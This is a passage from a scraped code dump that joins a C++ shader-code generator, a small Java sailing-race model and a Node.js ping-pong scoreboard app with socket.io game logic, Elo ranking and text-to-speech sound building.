&v[0];", "}", } }; template<typename T> void _write_shader_text(ofstream& file, T lines_vec, char var, int ind, bool line_ending = false) { file << "static const char *" << var << ind << "[] = "; file << "{" << endl; for each (const string& s in lines_vec) { file << ' ' << '\"' << s << (line_ending ? "\\n\"," : "\",") << endl; } file << ' ' << "\"\\n\"," << endl; file << ' ' << "nullptr" << endl; file << "};" << endl << endl; } void write_shader_text(ofstream& file, const vector<string>& v, const vector<string>& f) { static int ind = 0; _write_shader_text<vector<string>>(file, v, 'v', ind); _write_shader_text<vector<string>>(file, f, 'f', ind); ind++; } vector<string> get_vector(string in, bool line_ending) { vector<string> res; string line; ifstream shd(string(DIR) + in); while (getline(shd, line)) { if (line_ending) line.append("\\n"); res.push_back(line); } shd.close(); return res; } #define SH string, bool, bool void write_shader_fields(ofstream& file, tuple<SH>& shdr, int ind) { file << "{" << endl; file << "\t\"Shader" << ind << "\"," << endl; file << "\texact_ptrptr(v" << ind << ")," << endl; file << "\texact_ptrptr(f" << ind << ")," << endl; file << "\t_countof(v" << ind << ") - 1," << endl; file << "\t_countof(f" << ind << ") - 1," << endl; file << '\t' << get<0>(shdr) << ',' << endl; file << (get<1>(shdr) ? "\ttrue," : "\tfalse,") << endl; file << (get<2>(shdr) ? "\ttrue," : "\tfalse,") << endl; file << "}," << endl; } void generate_recursively(ofstream& file, Preprocessor& processor, vector<string>& frag, vector<string>& vert, vector<string>& defs, int i) { static int j = 0; if (i >= defs.size()) { auto shader_text_list_v = processor.run(vert); _write_shader_text<list<string>>(file, shader_text_list_v, 'v', j, true); auto shader_text_list_f = processor.run(frag); _write_shader_text<list<string>>(file, shader_text_list_f, 'f', j, true); j++; return; } generate_recursively(file, processor, vert, frag, defs, i + 1); processor.set_define(defs[i]); generate_recursively(file, processor, vert, frag, defs, i + 1); processor.erase_define(defs[i]); } void generate_structs_recursively(ofstream& file, Preprocessor& processor, vector<string>& defs, int i) { static int j = 0; if (i >= defs.size()) { const bool is2d = processor.define_exist("ENG_INPUT_2D"); const bool alphaTest = processor.define_exist("ENG_ALPHA_TEST"); string attrs = "POS"; if (processor.define_exist("ENG_INPUT_NORMAL")) attrs += " | NORM"; if (processor.define_exist("ENG_INPUT_TEXCOORD")) attrs += " | TEX_COORD"; tuple<SH> t = (std::make_tuple(attrs, is2d, alphaTest)); write_shader_fields(file, t, j); j++; return; } generate_structs_recursively(file, processor, defs, i + 1); processor.set_define(defs[i]); generate_structs_recursively(file, processor, defs, i + 1); processor.erase_define(defs[i]); } int main() { ofstream out_cpp(OUT_CPP); for each (const string& l in head) out_cpp << l << endl; out_cpp << endl; vector<string> defs = { "ENG_INPUT_2D", "ENG_INPUT_NORMAL", "ENG_INPUT_TEXCOORD", "ENG_ALPHA_TEST"}; auto shader_text_vec_frag = get_vector(SHADER_FRAG_NAME, false); auto shader_text_vec_vert = get_vector(SHADER_VERT_NAME, false); Preprocessor processor; generate_recursively(out_cpp, processor, shader_text_vec_frag, shader_text_vec_vert, defs, 0); out_cpp << "static std::vector<ShaderSrc> _shadersGenerated =" << endl; out_cpp << "{{" << endl; generate_structs_recursively(out_cpp, processor, defs, 0); out_cpp << "}};" << endl; out_cpp << "const std::vector<ShaderSrc>& getShaderSources()" << endl; out_cpp << "{" << endl; out_cpp << " return _shadersGenerated;" << endl; out_cpp << "}" << endl; out_cpp.close(); }
dda0005ec3aab24f685198bad196be9cecd930b6
[ "Markdown", "C++" ]
16
C++
k-payl/GL3XRender
783dc5db53e75c206d929f017c9bb6a60b697801
e773af7abfbb54f9b420999758ce83fa8afda142
refs/heads/master
<file_sep>import java.util.Comparator; import java.util.List; import java.util.Map; import java.util.stream.Collectors; //os getters e setters tao feitos pelo intelliJ é só para não me chatear public class Equipa { private String nome; private Map<String,Barco> barcos; public String getNome() { return nome; } public void setNome(String nome) { this.nome = nome; } public Map<String, Barco> getBarcos() { return barcos; } public void setBarcos(Map<String, Barco> barcos) { this.barcos = barcos; } public double totalEmProva(String idBarco){ return this.barcos.get(idBarco).getEtapas().stream(). mapToDouble(x->(x.getFim().getTimeInMillis()-x.getInicio().getTimeInMillis())/3.6e4).sum(); } } <file_sep>public class BarcoHibrido extends Barco { public double getAutonomia(){ return this.getAutonomia(); } } <file_sep>import java.util.List; import java.util.Map; import java.util.stream.Collectors; public class VOR { private Map<String, Equipa> equipas; public Barco getBarco(String idEquipa, String barco) throws InvalidBoatException{ if(equipas.get(idEquipa).getBarcos().containsKey(barco)){ return equipas.get(idEquipa).getBarcos().get(barco); } else throw new InvalidBoatException(); } public List<Barco> getBarcos(String idEquipa, double milhas){ return this.equipas.get(idEquipa).getBarcos().entrySet().stream().filter(x->x.getValue().getMilhas()>milhas). map(x->x.getValue()).collect(Collectors.toList()); } public void removeBarco(String idEquipa, String idBarco) throws InvalidBoatException{ if(equipas.get(idEquipa).getBarcos().containsKey(idBarco)){ Map<String, Barco> e = this.equipas.get(idEquipa).getBarcos(); e.remove(idBarco); equipas.get(idBarco).setBarcos(e); } else throw new InvalidBoatException(); } } <file_sep>import com.sun.xml.internal.messaging.saaj.packaging.mime.util.LineInputStream; import java.util.List; import java.util.Set; //os getters e setters tao feitos pelo intelliJ é só para não me chatear public class Barco { private String id; private double milhas; private String categoria; private double autonomia; private Pessoa skipper; private Set<Pessoa> tripulantes; private List<RegistoEtapa> etapas; public List<RegistoEtapa> getEtapas() { return etapas; } public void setEtapas(List<RegistoEtapa> etapas) { this.etapas = etapas; } public String getId() { return id; } public void setId(String id) { this.id = id; } public double getMilhas() { return milhas; } public void setMilhas(double milhas) { this.milhas = milhas; } public String getCategoria() { return categoria; } public void setCategoria(String categoria) { this.categoria = categoria; } public double getAutonomia() { return autonomia; } public void setAutonomia(double autonomia) { this.autonomia = autonomia; } public Pessoa getSkipper() { return skipper; } public void setSkipper(Pessoa skipper) { this.skipper = skipper; } public Set<Pessoa> getTripulantes() { return tripulantes; } public void setTripulantes(Set<Pessoa> tripulantes) { this.tripulantes = tripulantes; } }
7f172bbdaec2693adf937be8c4693c82331e314c
[ "Java" ]
4
Java
ricsmc/POO_Teste_14_15
11948da6e32ad20d91297123b80224bf42486b10
3d0de3e73889bb38c2684f75234638d80d3b3a9d
refs/heads/master
<repo_name>dngroup/vhg-adaptation-worker-hard-moc<file_sep>/adaptation/commons.py import os import sys import time import logging from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler from XMLparser import readXML from settings import DELAY def is_valideXML(srcPath): pass def TestIfXML(srcPath): suffix = '.xml' if (srcPath.endswith(suffix)): return True else : return False def movefile(srcPath): vtuxml = readXML(srcPath) if vtuxml == False: logging.info("%s doesn't validate", srcPath) else: logging.info("%s validates", srcPath) contentFile = vtuxml.find('in').find('local').find('stream').text logging.info("The content file is %s", contentFile) pathContentFile = "/vTU/vTU/input/" + contentFile # pathContentFile = os.path.dirname(os.path.abspath(srcPath)) +"/" +contentFile logging.info("The content file is here %s", pathContentFile) contentOuputFile = vtuxml.find('out').find('local').find('stream').text pathOuputContentFile = "/usr/share/nginx/html/output/" + contentOuputFile time.sleep(DELAY) try: os.rename(srcPath, pathOuputContentFile + '.xml') logging.info("move xml") except OSError as e: logging.info("The content file is not found may be already move %s", srcPath) pass try: os.rename(pathContentFile, pathOuputContentFile) logging.info("move content", srcPath) except OSError as e: logging.error("The content file is not found may be already move %s", pathContentFile) pass def do(src_path): if TestIfXML(src_path): movefile(src_path) pass class MyHandler(FileSystemEventHandler): def on_modified(self, event): do(event.src_path) def on_moved(self, event): do(event.dest_path) # what = 'directory' if event.is_directory else 'file' # logging.info("Moved %s: from %s to %s", what, event.src_path, # event.dest_path) def on_created(self, event): do(event.src_path) # what = 'directory' if event.is_directory else 'file' # logging.info("Created %s: %s", what, event.src_path) def on_deleted(self, event): # logging.info("Deleted file or directory: %s", event.src_path) pass if __name__ == "__main__": logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S') logging.info("Start python",) path = sys.argv[1] if len(sys.argv) > 1 else '.' path = '/vTU/vTU/spool/' # path = test event_handler = MyHandler() observer = Observer() observer.schedule(event_handler, path, recursive=True) observer.start() try: while True: time.sleep(1) except KeyboardInterrupt: observer.stop() observer.join() <file_sep>/setup.py #!/usr/bin/env python from setuptools import setup setup( name='vhg-adaptation-worker-hard-moc', version='0.1', description='Moc Worker for video adaptation hardware', author='<NAME>', author_email='<EMAIL>', packages=['mocWorker']) <file_sep>/adaptation/XMLparser.py from lxml import etree from settings import SCHEMA_FILE def readXML(xmlfilename): try: with open(xmlfilename, 'r') as f: return etree.fromstring(f.read(), xmlparser) except etree.XMLSchemaError: return False except etree.XMLSyntaxError: return False except IOError as e: return False with open(SCHEMA_FILE, 'r') as f: schema_root = etree.XML(f.read()) schema = etree.XMLSchema(schema_root) xmlparser = etree.XMLParser(schema=schema) <file_sep>/Dockerfile FROM nginx:1.9 MAINTAINER <NAME> <<EMAIL>> RUN apt-get update && apt-get install -y openssh-server RUN mkdir /var/run/sshd RUN echo 'root:root' | chpasswd RUN sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/' /etc/ssh/sshd_config # SSH login fix. Otherwise user is kicked off after login RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd ENV NOTVISIBLE "in users profile" RUN echo "export VISIBLE=now" >> /etc/profile RUN apt-get install python-pip mediainfo python-dev libxslt1-dev python-dev zlib1g-dev -y RUN pip install watchdog lxml RUN mkdir -p /vTU/vTU/input/ RUN mkdir -p /vTU/vTU/spool/ RUN mkdir -p /home/kvm/.ssh/ RUN mkdir -p /usr/share/nginx/html/output RUN useradd kvm RUN chown -R kvm /vTU/ RUN chown -R kvm /home/kvm/ COPY sshkeydocker.pub sshkeydocker.pub RUN cat sshkeydocker.pub >> /home/kvm/.ssh/authorized_keys COPY adaptation/ /worker/adaptation WORKDIR worker RUN pwd && ls EXPOSE 22 CMD /usr/sbin/sshd && nginx && python adaptation/commons.py <file_sep>/adaptation/__init__.py __author__ = 'dbourasseau' <file_sep>/adaptation/settings.py DELAY = 3 SCHEMA_FILE = 'adaptation/vtu.xsd'
93f7df9a9734aec19b2dee4e26af7938410a37f3
[ "Python", "Dockerfile" ]
6
Python
dngroup/vhg-adaptation-worker-hard-moc
d87181110a325145afca6639fc5a4982ae5dba5b
02363a4c9c15ec216252c784e1268a6a44b3e034
refs/heads/master
<repo_name>timelf123/Ping-Pong<file_sep>/server.js var path = require('path'); var net = require('net'); var chalk = require('chalk'); var jade = require('jade'); var serveStatic = require('serve-static'); var environment = process.env.NODE_ENV = process.env.NODE_ENV || 'production'; // RUN LOCALLY WITH NODE_ENV=development node server.js var app = require('./app.js'); var leaderboard = require('./lib/leaderboard'); var Player = require('./models/Player'); var getConfig = require('./config'); var config = getConfig[environment]; var settings = getConfig.global; var http = require('http'); global.settings = settings; app.engine('jade', jade.__express); app.use(serveStatic('./ui/public')); app.locals.config = config; app.locals.settings = settings; _ = require('underscore'); io = require('socket.io'); moment = require('moment'); CORE = false; CARDREADER = false; if (CORE) { spark = require('sparknode'); core = new spark.Core(settings.sparkCore); } if(CARDREADER) { cardReader = require('./lib/cardReader'); } gameController = require('./classes/gameController'); game = {}; player = {}; var server = http.createServer(app); // Setup socketio io = io.listen(server); var logLevel = 1; // production if (environment === 'development') { logLevel = 3; } io.configure(function() { io.set('log level', logLevel); }); app.get('/', function(req, res) { delete require.cache[path.resolve('./versions/js.json')]; delete require.cache[path.resolve('./versions/css.json')]; res.render('home.jade', { title: 'Ping Pong', metaDesc: 'Ping Pong', environment: environment, JSVersions: require('./versions/js'), CSSVersions: require('./versions/css') }); }); app.get('/maxScore', function(req, res){ res.json(global.settings.maxScore); }); app.get('/leaderboard', function(req, res) { // This could use a streaming response instead leaderboard.get(10) .then(function(players) { res.json(players.toJSON()); }); }); server.listen(config.port); console.log(chalk.green('Server: Listening on port ' + config.port)); game = new gameController(); game.feelersPingReceived(); io.sockets.on('connection', function(client) { game.reset(); game.clientJoined(); if (CARDREADER) { cardReader.connectionStatus(); } if (!CORE) { client.on('fakeScored', game.feelerPressed); // Fake score event for easier testing client.on('fakeEndGame', function() { var record = (settings.recordUnfinishedGames !== 'undefined')? settings.recordUnfinishedGames : false; game.end(record); }); } client.on('fakeJoin', clientJoined); }); if (CORE) { core.on('scored', game.feelerPressed); core.on('endGame', function() { var record = (settings.recordUnfinishedGames !== 'undefined')? settings.recordUnfinishedGames : false; game.end(record); }); core.on('ping', game.feelersPingReceived); core.on('batteryLow', game.batteryLow); core.on('online', function() { game.feelersOnline(); game.feelerStatus(); game.feelersPingReceived(); }); } if (CARDREADER) { cardReader.on('read', function(data) { console.log('New read', data); game.addPlayerByRfid(data.rfid); }); cardReader.on('err', game.cardReadError); cardReader.on('connect', function() { io.sockets.emit('cardReader.connect'); }); cardReader.on('disconnect', function() { io.sockets.emit('cardReader.disconnect'); }); } function clientJoined(data) { // fake rfid var name = data.name; // check if player name exists in db new Player({name: name}) .fetch() .then(function(model) { if(model === null) { // no player with this name was found. let's create a new entry var randomRFID = Math.floor(Math.random() * 100000) + 1; // generate a random large rfid for now new Player({ name : name, rfid : randomRFID }).save().then(function(model) { game.addPlayerByRfid(model.get('rfid')); }); } else { rfid = model.get('rfid'); game.addPlayerByRfid(model.get('rfid')); } }); } <file_sep>/config.default.js module.exports = { development: { url: 'http://127.0.0.1', port: 8989, cardReaderPort: 9898, database: { client: 'postgres', connection: { host: '127.0.0.1', port: 8889, user: '', password: '', database: 'pong', ssl: true }, migrations: { directory: __dirname + '/migrations', tableName: 'migrations' } } }, production: { url: 'http://127.0.0.1', port: 8989, cardReaderPort: 9898, database: { client: 'postgres', connection: { host: '127.0.0.1', port: 8889, user: '', password: '', database: 'pong', ssl: true }, migrations: { directory: __dirname + '/migrations', tableName: 'migrations' } } }, global: { sparkCore: { accessToken: undefined, id: undefined }, serverSwitchLimit: 2, // How many points before service switches serverSwitchThreshold: 20, // When both players have reached this threshold, the server switches every time maxScore: 11, mustWinBy: 2, minPlayers: 2, //temp. should be 2 maxPlayers: 2, // will make 4 in future winningViewDuration: 12000, // The duration to show the winning view for before returning to the leaderboard feelers: { pingInterval: 1000000000, pingThreshold: 250, undoThreshold: 750 // was 1500, disabled for now. }, cardReader: { pingInterval: 30000, pingThreshold: 250 } } }; <file_sep>/gulpfile.js var path = require('path'), fs = require('fs'), exec = require('child_process').exec, request = require('request'), es = require('event-stream'), async = require('async'), slug = require('slug'), gulp = require('gulp'), gutil = require('gulp-util'), source = require('vinyl-source-stream'), buffer = require('gulp-buffer'), rename = require('gulp-rename'), del = require('del'), rev = require('gulp-rev'), browserify = require('browserify'), watchify = require('watchify'), reactify = require('reactify'), uglifyify = require('uglifyify'), exorcist = require('exorcist'), less = require('gulp-less'), autoprefixer = require('gulp-autoprefixer'), csso = require('gulp-csso'), // Speak = require('tts-speak'), google_speech = require('google-speech'), paths = {}; paths.public = './ui/public'; paths.css = paths.public + '/css'; paths.js = paths.public + '/js'; paths.build = paths.public + '/build'; paths.versions = './versions'; gulp.task('default', ['all'], function() { var watcher = gulp.watch(paths.css + '/**/*.less', ['css']); }); gulp.task('main.js', function() { var bundle, watch; bundle = browserify({ cache: {}, packageCache: {}, fullPaths: true, debug: true }); watch = watchify(bundle); bundle.transform({ global: true }, 'uglifyify'); // Add third party libs. We don't want Browserify to parse them because they // aren't setup to use Browserify - we'd just be wasting time. bundle.add(paths.js + '/third_party/font.js', { noparse: true }); // Add the main.js file bundle.add(paths.js + '/main.js'); bundle.transform('reactify'); watch.on('update', rebundle); function rebundle() { cleanJS(function() { return watch.bundle() .on('error', function(e) { gutil.beep(); gutil.log(gutil.colors.red('Browserify Error'), e); }) // Exorcist extracts Browserify's inline source map and moves it to an external file .pipe(exorcist(paths.build + '/main.js.map')) .pipe(source('main.js')) .pipe(buffer()) .pipe(rev()) .pipe(gulp.dest(paths.build)) .pipe(rev.manifest()) .pipe(rename('js.json')) .pipe(gulp.dest(paths.versions)); }); } return rebundle(); }); function cleanJS(cb) { return del([path.join(paths.build, '*.js'), path.join(paths.build, '*.js.map')], cb); } gulp.task('css', ['css:clean'], function() { var autoprefixerConfig = { cascade: false }; return gulp.src(paths.css + '/base.less') .pipe(less()) .pipe(autoprefixer(['last 2 versions', '> 1%'], autoprefixerConfig)) .pipe(csso()) .pipe(rev()) .pipe(gulp.dest(paths.build)) .pipe(rev.manifest()) .pipe(rename('css.json')) .pipe(gulp.dest(paths.versions)); }); gulp.task('css:clean', function(cb) { return del([path.join(paths.build, '*.css')], cb); }); // gulp.task('say', function(cb) { // var speak = new Speak({ // tts: { // engine: { // The engine to use for tts // name: 'voicerss', // key: 'ebe126680a19408badc455097eb8b3b5', // The API key to use // }, // lang: 'en-us', // The voice to use // speed: 60, // Speed in % // format: 'mp3', // Output audio format // quality: '44khz_16bit_stereo', // Output quality // cache: __dirname + '/ui/public/sounds', // The cache directory were audio files will be stored // loglevel: 0, // TTS log level (0: trace -> 5: fatal) // delayAfter: 500 // Mark a delay (ms) after each message // }, // speak: { // volume: 80, // Audio player volume // loglevel: 0 // Audio player log level // }, // loglevel: 0 // Wrapper log level // }); // speak.once('ready', function() { // // Chaining // speak // .say("Hello and welcome here !") // .wait(1000) // .say({ // src: 'Parlez-vous français ?', // lang: 'fr-fr', // speed: 30 // }); // // Catch when all queue is complete // speak.once('idle', function() { // speak.say("Of course, with my new text to speech wrapper !"); // }); // // Will stop and clean all the queue // setTimeout(function() { // speak.stop(); // speak.say('Ok, abort the last queue !') // return; // }, 1000); // }); // }); gulp.task('sounds', function(cb) { var Player = require('./models/Player'), scoreRange = [0, 40], announcements = [], downloads = []; announcements = [ function(player) { return player + ' to serve'; }, function(player) { return 'Game point, ' + player; }, function(player) { return player + ' won the game!'; } ]; async.parallel([ function(cb) { Player.fetchAll().then(function(players) { console.log(players); async.each(players.models, function(player, cb) { console.log(player.attributes); fetchAnnouncements(player.get('name'), function(res) { if(res.writable) { downloads.push(res); } cb(); }); }, cb); }); }, function(cb) { var i = 0, incomplete = function() { return i < scoreRange[1]; }; async.whilst(incomplete, function(cb) { i ++; getTTS(i, 'en-gb', function(res) { if(res.writable) { downloads.push(res); } cb(); }); }, cb); } ], function() { var updateSprite = exec.bind(undefined, 'audiosprite --format howler --path build/ --output ui/public/build/sprite --export mp3 ui/public/sounds/*.mp3 ui/public/sounds/*.wav', cb); if(downloads.length > 0) { return es.merge.apply(undefined, downloads).on('end', function() { updateSprite(); }); } updateSprite(); }); function fetchAnnouncements(player, cb) { async.each(announcements, function(announcement, cb) { announcement = announcement(player); getGoogleTTS(announcement, 'en-gb', cb); }, cb); } }); function getTTS(phrase, language, cb) { language = language || 'en-gb'; var requestURL = 'http://translate.google.com/translate_tts?q=' + phrase + '&tl=' + language, fileName = slug(phrase).toLowerCase() + '.mp3', filePath = path.join('./ui/public/sounds/', fileName), res = true; fs.exists(filePath, function(exists) { if(!exists) { res = request(requestURL); res.on('response', function() { res.pipe(fs.createWriteStream(filePath)); }); } cb(res); }); } function getGoogleTTS(phrase, language, cb) { language = language || 'en-gb'; var fileName = slug(phrase).toLowerCase() + '.mp3'; var filePath = path.join('./ui/public/sounds/', fileName); res = true; fs.exists(filePath, function(exists) { if(!exists) { google_speech.TTS({ text: phrase, language: language, file: filePath }, function(){ console.log('sound written: ', fileName); cb(res); } ); } }); } gulp.task('all', ['css', 'main.js']); <file_sep>/seeds/development/players.js exports.seed = function(knex, Promise) { return Promise.join( // Deletes ALL existing entries knex('players').del(), knex('games').del(), // Inserts seed entries knex('players').insert({id: 1, rfid: 123, name: 'Tim', gender: 'male', uri: 'http://crowds.io', elo: 1, image: 'tim.jpg', play_count: 0}), knex('players').insert({id: 2, rfid: 124, name: 'Consuela', gender: 'female', uri: 'http://google.com', elo: 1, image: 'consuela.jpg', play_count: 0}), knex('players').insert({id: 3, rfid: 125, name: 'Coby', gender: 'male', uri: 'http://apple.com', elo: 1, image: 'coby.jpg', play_count: 0}), knex('players').insert({id: 4, rfid: 126, name: '#sweatervest', gender: 'male', uri: 'http://apple.com', elo: 1, image: 'coby.jpg', play_count: 0}), knex('players').insert({id: 5, rfid: 127, name: 'trae', gender: 'male', uri: 'http://apple.com', elo: 1, image: 'trae.jpg', play_count: 0}), knex('players').insert({id: 6, rfid: 128, name: 'Jeremy', gender: 'male', uri: 'http://apple.com', elo: 1, image: 'jeremy.jpg', play_count: 0}), knex('players').insert({id: 7, rfid: 129, name: 'Jermo', gender: 'male', uri: 'http://apple.com', elo: 1, image: 'jeremy.jpg', play_count: 0}) )}; <file_sep>/classes/feelerController.js var events = require('events'), util = require('util'), config = require('../config.js'); module.exports = function() { return this instanceof FeelerController ? FeelerController : new FeelerController; }; /** * Feeler Controller */ function FeelerController() { var self = this; self.threshold = config.global.feelers.undoThreshold || 0; self.timer; self.lastPressedTime = -1; self.isUndo = function(){ if(self.lastPressedTime < 0) return false; return (new Date() - self.lastPressedTime ) < self.threshold; } self.on('press', self.counter); }; util.inherits(FeelerController, events.EventEmitter); /** * Counter */ FeelerController.prototype.counter = function() { var self = this; if(!self.timer && !self.isUndo()){ self.timer = setTimeout(function(){ self.emit('score'); self.timer = null; }, self.threshold); } else if(self.isUndo()){ clearTimeout(self.timer); self.emit('removePoint'); self.timer = null; } self.lastPressedTime = new Date(); }; <file_sep>/classes/gameController.js var chalk = require('chalk'), debounce = require('debounce'), app = require('../app'), elo = require('./eloComparator')(), Feeler = require('./feelerController'), Game = require('../models/Game'), Player = require('../models/Player'), stats = require('../lib/stats'), leaderboard = require('../lib/leaderboard'), players = [], serve, inProgress = false, gameModel; module.exports = gameController; function gameController() { this.leaderBoard = []; this.online = true; this.score = [0, 0]; this.players = []; this.inProgress = false; this.feelers = [Feeler(), Feeler()]; this.gameHistory = []; this.feelers.forEach(function(feeler, i) { feeler.on('score', function() { console.log("game controller found a score event. changing game scored data. (player ID?) i = " + i); game.scored({ data: i + 1 }); }); feeler.on('removePoint', function() { game.pointRemoved({ data: i + 1 }); }); }); stats.on('biggestWinningStreak', function(streak) { io.sockets.emit('stats.biggestWinningStreak', streak); }); stats.on('mostConsecutiveLosses', function(streak) { io.sockets.emit('stats.mostConsecutiveLosses', streak); }); stats.on('largestWhooping', function(whooping) { io.sockets.emit('stats.largestWhooping', whooping); }); stats.on('totalCompanyGames', function(count) { io.sockets.emit('stats.totalCompanyGames', count); }); stats.on('mostFrequentPlayer', function(player) { io.sockets.emit('stats.mostFrequentPlayer', player); }); elo.on('tip.playerWin', function(player) { var pronoun = 'them', genderPronouns = { male: 'him', female: 'her' }; if(player.gender) { pronoun = genderPronouns[player.gender]; } io.sockets.emit('game.message', { message: 'A win for <span class="player-' + player.position + '">' + player.name + '</span> takes ' + pronoun + ' to rank ' + player.winningLeaderboardRank }); }); } /** * Sparkcore status update */ gameController.prototype.feelerStatus = function(data) { game.updateStatus(); }; /** * The feelers connected */ gameController.prototype.feelersOnline = function() { io.sockets.emit('core.online'); }; /** * Add a player based on their rfid */ gameController.prototype.addPlayerByRfid = function(rfid) { game.addPlayer(null, { attr: 'rfid', value: rfid }); }; /** * Add a player to the game */ gameController.prototype.addPlayer = function(playerID, custom) { var attr = playerID !== null ? 'id' : custom.attr, value = playerID !== null ? playerID : custom.value, position; // Load the model for the added player Player.where(attr, value).fetch().then(function(player) { if(!player) { console.log(chalk.red('Player ' + value + ' not found')); io.sockets.emit('game.playerNotFound', { attr: attr, value: value }); return; } if(players.length === global.settings.maxPlayers) { // A third player joined, prompting the game to be reset console.log(chalk.yellow('A third player joined, resetting the game')); return game.end(false); } if(game.playerInGame(player.id)) { console.log(chalk.red(player.get('name') + ' is already in the game!')); return; } console.log(chalk.green('Player added: ' + player.get('name'))); players.push(player); position = players.indexOf(player); elo.addPlayer(player, position); if(players.length === global.settings.minPlayers) { game.ready(); } // Notify the client a player has joined io.sockets.emit('player' + position + '.join', { player: player.toJSON(), position: players.indexOf(player) }); io.sockets.emit('player.join', { player: player.toJSON(), position: players.indexOf(player) }); io.sockets.emit('leaderboard.hide'); }); }; /** * The card reader experienced an error */ gameController.prototype.cardReadError = function() { io.sockets.emit('game.cardReadError'); }; /** * Reset the game */ gameController.prototype.reset = function() { gameModel = {}; players = []; this.score = [0,0]; player.playing = []; serve = undefined; this.inProgress = false; inProgress = false; this.gameHistory = []; elo.reset(); this.updateStatus(); }; /** * End game and reset score */ gameController.prototype.end = function(complete) { complete = typeof complete == 'undefined' ? true : complete; if(!complete) { io.sockets.emit('game.reset'); return this.reset(); } if(!game.inProgress) { console.log("game not started"); // Game not started, try to start... return; } var _this = this, winningPlayer = this.leadingPlayer(), updatedRanks = []; if(winningPlayer - 1 === 0) { updatedRanks = [elo.players[0].winningLeaderboardRank, elo.players[1].losingLeaderboardRank]; } else { updatedRanks = [elo.players[0].losingLeaderboardRank, elo.players[1].winningLeaderboardRank]; } io.sockets.emit('game.message', { message: '<span class="player-0">' + players[0].get('name') + '</span> is now rank ' + updatedRanks[0] + ', <span class="player-1">' + players[1].get('name') + '</span> is rank ' + updatedRanks[1] }); io.sockets.emit('game.end', { winner: winningPlayer - 1 }); setTimeout(function() { io.sockets.emit('game.reset'); }, global.settings.winningViewDuration + 200); gameModel.set({ winner_id: players[winningPlayer - 1].id, player0_score: game.score[0], player1_score: game.score[1], score_delta: Math.abs(game.score[0] - game.score[1]) }); // Add the game to the DB gameModel.save() .then(function() { stats.emit('game.end'); _this.reset(); }); players.forEach(function(player, i) { if(i === winningPlayer - 1) { player.set('elo', elo.players[i].winningRank); } else { player.set('elo', elo.players[i].losingRank); } // Increment play count player.set('play_count', player.get('play_count') + 1); player.save(); }); console.log(chalk.green('Game ending, ' + players[winningPlayer - 1].get('name') + ' won')); }; /** * Receive the feeler press and emit to the feeler controller. * The controller will emit a special event depending on the * number of presses received in a specified threshold – * i.e. `score` or `removePoint`. */ gameController.prototype.feelerPressed = function(data) { var positionId = data.data - 1; if(players.length < 2){ global.settings.maxScore = global.settings.maxScore === 11 ? 21 : 11; global.settings.serverSwitchLimit = global.settings.maxScore === 11 ? 2 : 5; global.settings.serverSwitchThreshold = global.settings.maxScore - 1; io.sockets.emit('game.changeSettings', { maxScore: global.settings.maxScore }); } game.feelers[positionId].emit('press', positionId); }; /** * The game is ready – two players have joined, but not yet started */ gameController.prototype.ready = function() { console.log("game is ready"); gameModel = new Game(); gameModel.set({ player0_id: players[0].get('id'), player1_id: players[1].get('id') }); leaderboard.get().then(function(leaderboard) { elo.setLeaderboard(leaderboard); }); // Find the last game between the players Game.lastBetweenPlayers([players[0].get('id'), players[1].get('id')]) .fetch() .then(function(game) { if(game) { var lastGame = []; lastGame.push({ player: players[0].toJSON(), score: undefined }); lastGame.push({ player: players[1].toJSON(), score: undefined }); if(game.get('player0_id') === players[0].get('id')) { lastGame[0].score = game.get('player0_score'); lastGame[1].score = game.get('player1_score'); } if(game.get('player0_id') === players[1].get('id')) { lastGame[0].score = game.get('player1_score'); lastGame[1].score = game.get('player0_score'); } io.sockets.emit('stats.lastGameBetweenPlayers', { lastGame: lastGame }); } else { io.sockets.emit('stats.firstGameBetweenPlayers', { lastGame: undefined }); io.sockets.emit('game.message', { message: 'Players first match' }); } }); // Find the players head to head score Player.headToHead(players[0].get('id'), players[1].get('id')).then(function(scores) { io.sockets.emit('stats.headToHead', { headToHead: scores }); }); io.sockets.emit('game.ready'); }; /** * Start the game */ gameController.prototype.start = function(startingServe) { if(!game.minPlayersAdded()) { console.log(chalk.red('Can\'t start the game until ' + global.settings.minPlayers + ' players have joined')); return false; } gameModel.start(); game.checkServerSwitch(startingServe); game.inProgress = true; inProgress = true; }; /** * Register a new point scored */ gameController.prototype.scored = function(event) { console.log("scored in game controller"); var player = event.data; var playerID = player - 1; if(!game.inProgress) { console.log("game not started"); // Game not started, try to start... if(!game.start(playerID)) { // Could not start, wait... return; } } game.score[playerID] ++; this.gameHistory.unshift({ action: 'scorePoint', player: playerID, score: this.score.slice() }); console.log("socket imitting game score: " + game.score); io.sockets.emit('game.score', { player: playerID, score: game.score[playerID], gameScore: game.score }); if(game.nextPointWins() && game.leadingPlayer() - 1 == playerID) { io.sockets.emit('game.gamePoint', { player: playerID }); } else { io.sockets.emit('game.notGamePoint', { player: game.leadingPlayer() - 1, }); } // Has anybody won? if(game.checkWon()) { return; } // Is it time to switch serves? game.checkServerSwitch(); // Is the next point a winning one? game.checkGamePoint(); game.updateStatus(); }; /** * Remove point from a player */ gameController.prototype.pointRemoved = function(event) { if(!game.inProgress) return; var playerID = event.data - 1; if(game.score[playerID] > 0) { game.score[playerID] --; this.gameHistory.unshift({ action: 'cancelPoint', player: playerID, score: this.score.slice() }); io.sockets.emit('game.cancelPoint', { player: playerID, score: game.score[playerID] }); io.sockets.emit('game.notGamePoint', { player: playerID }); if(game.checkWon()) { return; } game.checkServerSwitch(); game.checkGamePoint(); game.updateStatus(); } }; /** * Has a player reached 21 with 2 points clear? */ gameController.prototype.checkWon = function() { var playerReachedMaxScore = game.score[0] >= global.settings.maxScore || game.score[1] >= global.settings.maxScore, playerReachedScoreClearance = Math.abs(game.score[0] - game.score[1]) >= global.settings.mustWinBy; if(playerReachedMaxScore && playerReachedScoreClearance) { game.end(); return true; } return false; }; /** * Is it time to switch servers? */ gameController.prototype.checkServerSwitch = function(forceServe) { var _this = this, totalScore = this.score[0] + this.score[1], pointJustCancelled = this.gameHistory.length > 0 && this.gameHistory[0].action == 'cancelPoint', switchServer = totalScore % global.settings.serverSwitchLimit === 0 || this.serverSwitchThresholdMet() || typeof forceServe !== 'undefined', switchPreviousServer = (totalScore + 1) % global.settings.serverSwitchLimit === 0 && pointJustCancelled; if(switchServer || switchPreviousServer) { 